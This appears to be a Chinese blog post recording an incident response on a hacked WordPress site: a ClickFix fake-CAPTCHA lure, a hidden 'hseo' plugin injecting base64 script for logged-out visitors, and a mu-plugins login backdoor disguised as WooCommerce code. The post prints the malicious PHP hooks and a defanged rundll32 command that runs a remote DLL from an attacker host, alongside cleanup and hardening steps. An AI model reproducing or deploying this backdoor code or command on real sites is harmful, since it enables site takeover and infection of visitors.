记一次 WordPress 高级挂马(ClickFix 剪贴板投毒与影子后门)的极限查杀

Dana 发布于 1 分钟前 2 次阅读


网站表面风平浪静,访客却频频中招。本文详细记录了一次针对 WordPress 的高级持续性威胁(APT)级的应急响应过程。攻击者不仅利用了最新的 ClickFix 剪贴板投毒 技术分发 Web3 恶意软件,还通过 “影子插件” 和伪装成 WooCommerce 核心代码的 mu-plugins 持久化后门 实现了对管理员的完美隐身。附保姆级查杀与加固指南。


薛定谔的恶意弹窗

事件的起因是,在未登录管理员账号的情况下访问博客首页,页面会突然拦截正常内容,弹出一个制作极为逼真的 Google reCAPTCHA 验证窗口

弹窗用英文提示:“为了证明你不是机器人,请完成以下验证步骤:”

  1. 按下键盘上的 Win + R 键。
  2. 在运行窗口中,按下 Ctrl + V。
  3. 按下回车键完成验证。

⚠️ 杀招解析:ClickFix / ClearFake 攻击

这是一个典型且极度危险的社会工程学攻击。当你点击网页上伪造的“验证”按钮时,恶意 JavaScript 已经调用了浏览器的 Clipboard API,将以下恶意指令静默写入了你的系统剪贴板:

# 脱密后的指令示例
rundll32.exe \\svc3core.[恶意域名].net\verification.google,#1

原理: 只要访客乖乖按下 Win+R 和 Ctrl+V 并回车,Windows 系统就会通过 SMB 协议 直接连接到攻击者的远程服务器,并利用系统自带的 rundll32.exe 执行远程的恶意 DLL 文件。
这种攻击完美绕过了浏览器的“恶意文件下载拦截”和本地杀毒软件的第一道防线,直接将木马植入访客电脑。

最诡异的是:当我以管理员账号登录 WordPress 后台再次访问首页时,这个弹窗凭空消失了。


阶段二:顺藤摸瓜 —— 审查前端源码,捕获隐形载荷

既然弹窗会根据登录状态“看人下菜碟”,我立刻开启了浏览器的无痕模式(Incognito),模拟普通访客重新访问首页,并迅速按下 F12(或 Ctrl+U)查看网页源代码。

在仔细排查 HTML 的 <head> 区域时,我在系统自带的 <meta name="generator" content="WordPress..."> 标签附近,抓到了“狐狸尾巴”: code Html

<!-- 网页源码中发现的异常注入 -->
<script src="data:text/javascript;base64,ZnVuY3Rpb24gXzB4MzkxNzU1KF...[此处省略数千字符的乱码]..."></script>

分析结果:

  1. 正常的网站脚本通常是通过 src="https://..." 引入外部 .js 文件,而这里直接使用了 data:text/javascript;base64,将整段恶意代码直接嵌在了 HTML 里。
  2. 攻击者为了逃避安全插件对 eval、fetch 等敏感词的扫描,将代码进行了 Base64 编码。
  3. 经验丰富的安全人员看到 ZnVuY3Rpb24 就会立刻警觉——这正是英文字符串 function 经过 Base64 编码后的固定开头!

有了这个**“冒烟的枪(Smoking Gun)”**,我就知道了后端该搜什么。


SSH 底层定位“影子插件”

既然前端看到了注入的代码,下一步就是找出是哪个后端文件输出了它。登录服务器 SSH,进入网站根目录。

1. 寻找隐形载荷

通过SSH访问服务器,直接在全站目录下 grep 搜索刚才提取的 Base64 特征头部 ZnVuY3Rpb24

# 在网站根目录执行全盘特征码检索
grep -rn "ZnVuY3Rpb24" .

斩获线索: 搜索结果显示,大量的静态缓存文件(wp-content/cache/all/)已被污染,而在核心插件目录下,揪出了一个名为 hseo 的插件:
./wp-content/plugins/hseo/hseo.php

查看 hseo.php 的源码,其“薛定谔”的隐身逻辑终于真相大白:

function wp_smile_face() {
    // 检查当前用户是否有编辑文章的权限(是否为管理员/编辑)
    $c = wp_get_current_user()->has_cap('edit_posts') ? 1 : 0;
    // 如果是没有权限的普通访客,则输出恶意 Base64 脚本
    if ($c == 0){
        echo "<script src=\"data:text/javascript;base64,ZnVuY3Rpb24...[恶意Payload]...\"></script>";
    }
}
// 通过 wp_head 钩子挂载到所有页面的头部
add_action("wp_head", "wp_smile_face");

2. 为什么后台看不到它?(影子插件)

我去 WordPress 后台的“已安装插件”列表查看,根本找不到这个名为 hseo 的插件。
进一步排查发现,攻击者将它变成了一个影子插件(Ghost Plugin):他们没有通过正常途径安装,而是利用漏洞直接写入文件系统,并隐蔽加载,完美跳过了 UI 层的展示。


揪出 mu-plugins 里的“守门人”

我果断删除了 hseo 文件夹,并清空了缓存。本以为万事大吉,但出于直觉,我决定检查一下最近被修改的文件:

# 查找最近 7 天内被修改过的所有 php 文件
find . -mtime -7 -name "*.php"

结果令人背后发凉:除了正常的系统文件,我还注意到了一个极易被站长忽略的目录:wp-content/mu-plugins/(Must-Use Plugins,必须使用的插件,无需激活,自动全站运行)。

在该目录下,我发现了一个伪装得极深的 .php 文件。

🎭 堪称艺术的“代码级伪装”

打开该文件,前 100 多行全是被注释掉的 WooCommerce 核心代码

<?php
if (!defined('ABSPATH')) {
    http_response_code(403);
    exit('Direct access forbidden');
}
/**
// Load core packages and the autoloader.
require __DIR__ . '/src/Autoloader.php';
...[几百行毫无意义的 WooCommerce 正常代码,用来做审查烟雾弹] ...
**/

如果站长只是用 cat 命令随便扫一眼,大概率会以为这是网店插件留下的缓存或遗留配置。

但拉到文件最底部,图穷匕见——这里藏着登录劫持与暗门逻辑:

add_action('init', function () {
    // 监控目标:如果不是 wp-login.php 登录页,就跳过
    if (basename($_SERVER['SCRIPT_NAME']) !== 'wp-login.php') { return; }
    
    // 黑客设置的访问暗号
    $WO  = 'olY';
    $LO  = 'un';

    // 如果 URL 参数带有 ?un=olY,则放行(黑客自己登录的后门)
    if (isset($_GET[$LO]) && $_GET[$LO] === $WO) { return; }

    // 否则,直接返回 403 Forbidden 或强制重定向,把真正的站长挡在门外
    status_header(403);
    header('HTTP/1.1 403 Forbidden', true, 403);
    exit;
}, 5);

这是一个标准的 Gatekeeper(守门人)后门,用于维持攻击者对网站的控制权。


手把手保姆级清理与加固指南

既然摸清了底细,接下来就是雷霆手段的物理查杀。以下是完整的操作 SOP:

第一步:物理斩首(斩断恶意逻辑)

在 SSH 终端中,不给恶意程序任何利用后台触发自毁或转移的机会,直接暴力删除:

# 1. 删除影子插件
rm -rf wp-content/plugins/hseo
# 2. 删除必须使用插件目录下的后门
rm -f wp-content/mu-plugins/*.php
# 3. 删除长期不更新、存在已知漏洞风险的旧主题(本次案例中为 Argon)
rm -rf wp-content/themes/argon

第二步:缓存大洗白(防止毒页面残留)

攻击者虽然死了,但生成的带毒 HTML 还在缓存里。

# 清空由缓存插件生成的静态页面
rm -rf wp-content/cache/*

第三步:数据库深潜(Docker + MySQL 查杀)

我们需要直接进入容器内排查数据库中是否有持久化的恶意代码。

# 1. 获取 MySQL 容器名
docker ps | grep mysql
# 2. 登入容器 (替换其中的账户和数据库名)
docker exec -it mysql-xxx mysql -u xxxx -p xxxx

在 MySQL 命令行中执行核心排查语句: code SQL

-- 检查配置表中是否有隐蔽的恶意 JS 或 Base64 脚本
SELECT option_id, option_name, option_value FROM wp_options 
WHERE option_value LIKE '%activefusioncore%' 
   OR option_value LIKE '%base64%';

-- 检查后台合法插件(如 Header/Footer Code)的设置框是否被悄悄填入了恶意代码
SELECT * FROM wp_options WHERE option_name LIKE '%head_footer_code%';

-- 确认影子插件是否还留在激活列表中
SELECT option_value FROM wp_options WHERE option_name = 'active_plugins';

(注:本次排查结果数据库层已无残留。如果查出异常,直接使用 UPDATE wp_options SET option_value = '' WHERE option_id =[ID]; 清空对应字段即可。)

第四步:重塑金身(覆盖核心与强制下线)

  1. 重装 WP 核心: 在 WordPress 后台点击“更新” -> “重新安装最新版本”。这会用官方纯净包覆盖 wp-admin 和 wp-includes,冲掉可能存在的底层篡改。
  2. 强制全员下线: 打开网站根目录的 wp-config.php,访问WordPress 官方 SALT 生成器 获取新密钥,替换掉原有的 8 行 AUTH_KEY 等常量。这会让黑客的登录 Session 瞬间失效。
  3. 权限锁死: 在 wp-config.php 中追加一行,禁止以后在后台直接编辑代码:PHPdefine('DISALLOW_FILE_EDIT', true);

结语与安全反思

经过 观察,通过更换 IP、无痕模式反复测试,首页不再出现伪造弹窗,网站脱离危险。

本次攻防复盘的三个血泪教训:

  1. 前端溯源是第一步: 弹窗不会凭空出现,F12 审查源码、提取特征码(如 ZnVuY3Rpb24)是后端查杀的指南针。
  2. 停更的主题/插件是定时炸弹: 无论多么美观,只要开发者放弃维护超过一年,果断换掉。漏洞扫描器往往最先盯上它们。
  3. 重视 mu-plugins 目录: 它是黑客最爱的隐形战壕,利用大段正常代码做“烟雾弹”掩护后门的手段极其狡猾。

网络安全是一场没有终点的对抗,希望这篇排查实录能帮到正在遭遇相似攻击的站长们。当你发现异常时,不要慌,查前端,拔网线(维护模式),连 SSH,开上帝视角查杀。